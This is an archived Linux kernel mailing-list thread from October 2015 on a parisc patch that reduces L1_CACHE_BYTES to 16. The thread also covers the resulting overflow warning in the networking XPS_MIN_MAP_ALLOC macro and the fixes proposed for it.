	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Oct 2015 10:53:30 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:27777 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932412AbbJVOxa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Oct 2015 10:53:30 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20151022145328.MIWL2875.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 22 Oct 2015 10:53:28 -0400
Original-Received: from [192.168.0.116] (really [64.231.92.167])
          by mtlspm02.bell.net with ESMTP
          id <20151022145328.BZIW29037.mtlspm02.bell.net@[192.168.0.116]>;
          Thu, 22 Oct 2015 10:53:28 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.3.0
In-Reply-To: <1445524549.2207.1.camel@HansenPartnership.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.5628F868.02BD,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26085
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26085>

On 2015-10-22 10:35 AM, James Bottomley wrote:
> On Thu, 2015-10-22 at 13:53 +0200, Helge Deller wrote:
>>>> Betreff: [PATCH v3] parisc: Change L1_CACHE_BYTES to 16
>>>> The latest version changes L1_CACHE_BYTES to 16 bytes and doesn't =
adjust SMP_CACHE_BYTES as
>>>> per James suggestion
>>> This patch sadly breaks build on Linux kernel git head:
>>>
>>> In file included from /home/cvs/LINUX/git-kernel/linux-2.6/net/core=
/dev.c:92:0:
>>> /net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
>>> /include/linux/netdevice.h:721:27: warning: overflow in implicit co=
nstant conversion [-Woverflow]
>>>   #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_ma=
p)) \
>>> /net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_M=
IN_MAP_ALLOC=E2=80=99
>>>    int alloc_len =3D XPS_MIN_MAP_ALLOC;
>> This is one possibility to fix it:
>>
>> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
>> index 2d15e38..21cf683 100644
>> --- a/include/linux/netdevice.h
>> +++ b/include/linux/netdevice.h
>> @@ -718,7 +718,7 @@ struct xps_map {
>>          u16 queues[0];
>>   };
>>   #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * siz=
eof(u16)))
>> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map)=
)   \
>> +#define XPS_MIN_MAP_ALLOC ( (L1_CACHE_BYTES > sizeof(struct xps_map=
) ? L1_CACHE_BYTES : 2 * L1_CACHE_BYTES) - sizeof(struct xps_map)   \
>>       / sizeof(u16))
> But it indicates the whole kernel has the architectural assumption th=
at
> L1_CACHE_BYTES >=3D 32, so I don't think we should be trying to chang=
e
> that.
However, there are already at least two other arches with L1_CACHE_BYTE=
S=20
=3D 16.

Dave

--=20
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: CONFIG_XPS depends on L1_CACHE_BYTES being greater than sizeof(struct
 xps_map)
Date: Thu, 22 Oct 2015 22:00:11 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <5629404B.8090805@gmx.de>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445544037 20545 80.91.229.3 (22 Oct 2015 20:00:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 20:00:37 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 22 22:00:36 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpM2F-0000k4-2s
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 Oct 2015 22:00:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757917AbbJVUA0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Oct 2015 16:00:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50764 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757628AbbJVUAZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Oct 2015 16:00:25 -0400
Original-Received: from [192.168.20.60] ([92.203.46.30]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0Maa3B-1a4Q2r34Lx-00KC3J; Thu, 22 Oct 2015 22:00:16
 +0200
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <5628F868.3040105@bell.net>
X-Provags-ID: V03:K0:5uBASo9pF4pHsAq1Nk4n9V9uvnP5eFV8togeCoG9tCZKhGVanKo
 7hsL0XSgfbXnLfd0CzVmYO7u026xi35Vfn3AIy+Ga1b5KPD/59S8kEnSeEdstOGOp50OhWu
 WUDKzsej5u2doBDgwFMXO3QgSBlwn7gc8Et2LvvUs0RqaiK+Sui4E4D607bECFhMRpUg2Xu
 3N2Kt9PesULHt+OMAMhxQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zTp0DVMH+JM=:34p8d8BbaquMYxDD4wKZjL
 Ct/7zn31oo31BDsnrFUEMf3cZBotAfD7EwUBq9fgytKSUys+IHHIrvGNudL5EHIZGLy75G4nJ
 3gOM4GcPAy6z/7b5VFOpYu73SUpqVvGiherEt2+K58oUWte8xdAmNnYqQvPqvPQoCVi/X9JTH
 fPpzIbcyUNJaCubVcCp7GoSjIvZSZ2PwuhadATHumhb/SNBHkus4eCTsGEJfB5lyARlNR3NTo
 Kvm5VOT3R29IwUmm493WxYTxqUSaAKrkJznxe2YJUgHCVBvQ01l5jCP5U8dn+AN7rBIsNHGFs
 nermNzP+gus+p3aSe9MBtd0X7GpQTXLJKtAkoJ/7Zryjz5qUzOyzOL0gN0ZuEmuJhNLOHf2vJ
 RAQaqoXTN6t8f37zfoXy0V4Dehs4sX/o8LkrzFfNegMQZEusvUKfI7KC6a69//GFozkhjnx8X
 j3GrZJ2B3MtP/QukePsP5xvH5T6M6w+67RBvTvChx1jrWyVpw1ZhS2A03bo5TssHJ4aDfqJ73
 Twb8mkeMrDdm3oKhVla5LBegNUabqVKFyGiH3b+OqG0K4Uv00fZaB/1WT2NBWkBpQQim8+U3u
 mPFVTglTW84rzfV7mKUYpqxPvtDwBJaOwRaFJv+DQ9jJbZfHEA7d6un2v13jpycwbOzZX0joA
 RZ3HtmvD1WdoXQmOG7+NOwDtuGgrOFUoB+FvH93YaVC3z5PLuumW92qCBvH3EAtCOgsyh2y8F
 zLef2l2cNn/xdnKzgc+PIdftMLoA7oKlJMRyonaf92QE2BLS69GeNwEItf1mjW87RENyiwYt 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26086 gmane.linux.network:384157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26086>

Hi Tom & David,

I've queued-up a patch for the parisc architecture which reduces L1_CAC=
HE_BYTES from 32 to 16:
  https://patchwork.kernel.org/patch/7399291/

But this change will break the kernel build like this:

In file included from net/core/dev.c:92:0:
net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
include/linux/netdevice.h:721:27: warning: overflow in implicit constan=
t conversion [-Woverflow]
   #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))=
 \
net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN_MA=
P_ALLOC=E2=80=99
   int alloc_len =3D XPS_MIN_MAP_ALLOC;

Do you see an easy way to fix this ?

Thanks,
Helge=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Herbert <tom@herbertland.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Thu, 22 Oct 2015 14:37:31 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <CALx6S351U9L43Qh88DkJSM4tmhR-7SDoC6bCEhNqxnuu8LqTNA@mail.gmail.com>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
	<32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
	<B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
	<trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
	<trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
	<1445524549.2207.1.camel@HansenPartnership.com>
	<5628F868.3040105@bell.net>
	<5629404B.8090805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445549863 15592 80.91.229.3 (22 Oct 2015 21:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 21:37:43 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>,
	Linux Kernel Network Developers <netdev@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Thu Oct 22 23:37:39 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZpNYH-0000QA-M5
	for linux-netdev-2@plane.gmane.org; Thu, 22 Oct 2015 23:37:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758017AbbJVVhd convert rfc822-to-quoted-printable (ORCPT
	<rfc822;linux-netdev-2@m.gmane.org>); Thu, 22 Oct 2015 17:37:33 -0400
Original-Received: from mail-io0-f169.google.com ([209.85.223.169]:36548 "EHLO
	mail-io0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752153AbbJVVhc convert rfc822-to-8bit (ORCPT
	<rfc822;netdev@vger.kernel.org>); Thu, 22 Oct 2015 17:37:32 -0400
Original-Received: by ioll68 with SMTP id l68so106482032iol.3
        for <netdev@vger.kernel.org>; Thu, 22 Oct 2015 14:37:31 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=jx6ZBbtWwD7g7Wj8c1PpwdnSqt3e1WFjico4PTrwh1g=;
        b=PTrSiNSod6PpaVSi7L0khhKsP1gICyqLBOnpgw66M5hkJ14tkTOnAgLg2veb/hMdk0
         N0TfjnlqcK2RoYmv4Xa2S+yJhoYhG+TQ2CTRGv1fVUPijEjclbf5CCxaAyk7oH9QhjxC
         CXeSAHCMEhjeYxLu9lf9OULKkPol3Ed/0xMF6mJ3U3juawmJ63n9ewM0Ijh5rKvF3+aq
         n/oN/+32sNh0JJ4psTqalDYBf9tQPMRQedXP1LaltGNcljcci9/SGXWjAgK5X8VwU48b
         g2wAVuTc/JM1jFBypESML8tSNYr5jUx6C+FxTlc+La4DdMxdqtr9pnFi3ZBw0OPiM4QM
         XwYw==
X-Gm-Message-State: ALoCoQmY2U7URs0xsDsdVk9gMqgeKkPEnnS9WvM9ebujmxYUEU8XhjFETHXQD8nP0ET9aB5IahQI
X-Received: by 10.107.16.219 with SMTP id 88mr737202ioq.50.1445549851664; Thu,
 22 Oct 2015 14:37:31 -0700 (PDT)
Original-Received: by 10.107.41.83 with HTTP; Thu, 22 Oct 2015 14:37:31 -0700 (PDT)
In-Reply-To: <5629404B.8090805@gmx.de>
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:384168 gmane.linux.ports.parisc:26087
Archived-At: <http://permalink.gmane.org/gmane.linux.network/384168>

On Thu, Oct 22, 2015 at 1:00 PM, Helge Deller <deller@gmx.de> wrote:
> Hi Tom & David,
>
> I've queued-up a patch for the parisc architecture which reduces L1_C=
ACHE_BYTES from 32 to 16:
>   https://patchwork.kernel.org/patch/7399291/
>
> But this change will break the kernel build like this:
>
> In file included from net/core/dev.c:92:0:
> net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
> include/linux/netdevice.h:721:27: warning: overflow in implicit const=
ant conversion [-Woverflow]
>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map=
)) \
> net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN_=
MAP_ALLOC=E2=80=99
>    int alloc_len =3D XPS_MIN_MAP_ALLOC;
>
> Do you see an easy way to fix this ?
>
How about

 #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - ((sizeof(struct xps_map)
% L1_CACHE_BYTES)) \

Tom

> Thanks,
> Helge
> --
> To unsubscribe from this list: send the line "unsubscribe netdev" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Thu, 22 Oct 2015 14:50:15 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
	 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
	 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
	 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
	 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
	 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
	 <5629404B.8090805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445550636 27209 80.91.229.3 (22 Oct 2015 21:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2015 21:50:36 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Thu Oct 22 23:50:31 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZpNkf-0006K7-0U
	for linux-netdev-2@plane.gmane.org; Thu, 22 Oct 2015 23:50:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964995AbbJVVuU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;linux-netdev-2@m.gmane.org>); Thu, 22 Oct 2015 17:50:20 -0400
Original-Received: from mail-pa0-f51.google.com ([209.85.220.51]:34181 "EHLO
	mail-pa0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752153AbbJVVuS (ORCPT
	<rfc822;netdev@vger.kernel.org>); Thu, 22 Oct 2015 17:50:18 -0400
Original-Received: by padhk11 with SMTP id hk11so97482638pad.1;
        Thu, 22 Oct 2015 14:50:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:subject:from:to:cc:date:in-reply-to:references
         :content-type:mime-version:content-transfer-encoding;
        bh=DA+b0pSt/dwf9wllDNJdlinp79N/NW6Cj3/5Nl01lro=;
        b=YIj3wnKLfo8jrEPcAekTG2vIjMulOZnHe6BleROAT3WQ7rQuto//0IcqAoOMX4LQYY
         rI/Pa2DRJO+Fin4z62gijiZoHya8OqlMInNTtIfVCOW/6F2hlASNyfwKfowCDobsrRZp
         rOtmqpNysoENAmi/dPbKd8/N5IFY89AVquz8vBu08JoAXtPhayahbUywIhWV2pSy7tOg
         jwWr0ZduyqtCev5MoVJzm7ev+2ko7/T1wLMjH+F58QJcI8JvwoHDss86E6BvNIXlGCyY
         qZaQryKqGgU/wbtdhz5O1yqb+YPhWiyxm209mSJYAZojfON5jl0z3IjUgOz1W1NcCM9p
         3qTA==
X-Received: by 10.68.182.161 with SMTP id ef1mr782093pbc.79.1445550617410;
        Thu, 22 Oct 2015 14:50:17 -0700 (PDT)
Original-Received: from ?IPv6:2620:0:1000:3e02:d78:5524:e3ab:322b? ([2620:0:1000:3e02:d78:5524:e3ab:322b])
        by smtp.gmail.com with ESMTPSA id nj1sm15463925pbc.2.2015.10.22.14.50.16
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 22 Oct 2015 14:50:16 -0700 (PDT)
In-Reply-To: <5629404B.8090805@gmx.de>
X-Mailer: Evolution 3.10.4-0ubuntu2 
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:384170 gmane.linux.ports.parisc:26088
Archived-At: <http://permalink.gmane.org/gmane.linux.network/384170>

On Thu, 2015-10-22 at 22:00 +0200, Helge Deller wrote:
> Hi Tom & David,
>=20
> I've queued-up a patch for the parisc architecture which reduces L1_C=
ACHE_BYTES from 32 to 16:
>   https://patchwork.kernel.org/patch/7399291/
>=20
> But this change will break the kernel build like this:
>=20
> In file included from net/core/dev.c:92:0:
> net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
> include/linux/netdevice.h:721:27: warning: overflow in implicit const=
ant conversion [-Woverflow]
>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map=
)) \
> net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN_=
MAP_ALLOC=E2=80=99
>    int alloc_len =3D XPS_MIN_MAP_ALLOC;
>=20
> Do you see an easy way to fix this ?


Using L2_CACHE_BYTES would be better, but it unfortunately does not
exist.




From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 21:21:52 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <562A88D0.1010807@gmx.de>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <CALx6S351U9L43Qh88DkJSM4tmhR-7SDoC6bCEhNqxnuu8LqTNA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445628156 9367 80.91.229.3 (23 Oct 2015 19:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 19:22:36 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>,
	Linux Kernel Network Developers <netdev@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Tom Herbert <tom@herbertland.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 23 21:22:29 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zphur-0004QO-8f
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 Oct 2015 21:22:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750992AbbJWTWM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 15:22:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55486 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751258AbbJWTWC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 15:22:02 -0400
Original-Received: from [192.168.20.60] ([92.203.46.30]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MCL6r-1ZhDbI0UZl-0096GT; Fri, 23 Oct 2015 21:21:57
 +0200
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CALx6S351U9L43Qh88DkJSM4tmhR-7SDoC6bCEhNqxnuu8LqTNA@mail.gmail.com>
X-Provags-ID: V03:K0:MjVKZeJCewS4t54vySRvUHXihwiFCuBVOwU6G+XLicQo9hBC84m
 jLlbANDTaYhx7EldOYLlSUGe53MeA4UXRjxjx/xtMNPZQOA5m0+gKGMQASRqXlaTvRgYats
 pZbRwvwC84I8zhZyUaWLHaX9AICoBTcej5Vroi6ErJZT+5dLVrYEMRIkXFa8YQqabJiLVF3
 Y95j2cBJ1MSWXmgKcrK2A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:oA1Vlpb8g1Q=:0BbyTPVLtTMhDbxJDgc0p5
 XYyegTKETNmtKo5W6EaHBA74kAlMtnYvyppntYXhud5e/fgSSWkP2t3WPEBpmxbz4zR6rDCFv
 xnaCqB1VSBwGjjJwOHI8qogzfLrlfcp1BaQYgwzct9d93kZEnWBJ1sv8YhoroJD8R/seBN2z9
 8LfQbga4+56zPzLeRct+pP0rWT1g2y924MgPb9tFQLZlXuWoQ2ri70mMh5lY+E2XanjG8H5p1
 /UcvempE5EOMpyDthCB6cs/EPBaYU1j+UjVSxB5Y6OlXoYpOUGXdCKXGx7irGRIzQOfD/gnY/
 bZH7fZxCLvGXbKbn/fFoQSg7qyxY9lUzkZeVwWGyieSFrAkFsBhWDWsrvUAaw6TsUcQdYfv1K
 400aUt30w/c6AakHhA6WY55DtCdfkz4zwnFPulnsn+WML/MDGwr/zqw5nMF64FC/BWD7a15kq
 5nKciFXTvjVsuLjkHj0D54y4/Mh4W/IlyBLMIKq9n5C1dB6yxGdpgpRaPwahzxtHqUbIPBl49
 tsYrNhChA+yq6BhYklNFH5zBIxTLVPBnOWaQWZLqebm/gw4n2toBgjG2BiHNiyzUnUXNiCx76
 uNxGUrMUNUfbnJT+wmeOvHQqL85AADJOSGnigD82zeLKvjkUL8WcLbjatdznHPk7EJ0RgfdPF
 v6ARZFndW+jZeDoDkI8XBmnOakyC9VztVhDXfxb0jyC1d4bLwXv6QGc2DKaPLl9Ar6OLzZtFj
 8Wk3xmIFgULJEpyEvPU1v8FeaJfl7btzHO0r+p9dNw82lq4i8ZAnjN53oJ49I2OLZylflJCZ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26089 gmane.linux.network:384407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26089>

On 22.10.2015 23:37, Tom Herbert wrote:
> On Thu, Oct 22, 2015 at 1:00 PM, Helge Deller <deller@gmx.de> wrote:
>> Hi Tom & David,
>>
>> I've queued-up a patch for the parisc architecture which reduces L1_=
CACHE_BYTES from 32 to 16:
>>   https://patchwork.kernel.org/patch/7399291/
>>
>> But this change will break the kernel build like this:
>>
>> In file included from net/core/dev.c:92:0:
>> net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
>> include/linux/netdevice.h:721:27: warning: overflow in implicit cons=
tant conversion [-Woverflow]
>>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_ma=
p)) \
>> net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN=
_MAP_ALLOC=E2=80=99
>>    int alloc_len =3D XPS_MIN_MAP_ALLOC;
>>
>> Do you see an easy way to fix this ?
>>
> How about
>=20
>  #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - ((sizeof(struct xps_map=
)
> % L1_CACHE_BYTES)) \

The full line would then be:
#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - (sizeof(struct xps_map) % =
L1_CACHE_BYTES)) / sizeof(u16))

The only problem I see with this is, that XPS_MIN_MAP_ALLOC might becom=
e zero.
In that case the call to kzalloc_node() in expand_xps_map() doesn't all=
ocate any memory for the queues.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 21:25:04 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <562A8990.9000808@gmx.de>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
